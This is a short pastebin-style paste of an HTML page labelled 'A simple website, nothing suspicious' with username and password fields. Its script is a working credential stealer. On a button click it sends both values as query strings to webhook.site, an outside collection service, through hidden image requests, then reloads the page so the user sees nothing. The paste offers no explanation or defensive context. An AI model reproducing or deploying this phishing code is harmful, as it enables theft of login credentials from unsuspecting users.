Untitled
1 week ago in Plain Text
<!DOCTYPE html>
<html>
<body>
<h4> A simple website, nothing suspicious </h4> <label for="domTextElement">Username: </label>
<input type="text" id="username" >
<br><br> <label for="domTextElement1">Password: </label>
<input type="password" id="password" >
<br><br>
<button type="button" onclick="getValueInput()">click me!! </button>
<p id="valueInput"></p>
</body>
</html>
<script>
const getValueInput = () =>{
let inputValue=document.getElementById("username").value;
let inputValue1 = document.getElementById("password").value; var i=new Image();
var j=new Image();
i.src="https://webhook.site/?password="+inputValue1; j.src="https://webhook.site/?username="+inputValue;
window.location.reload();
}
</script>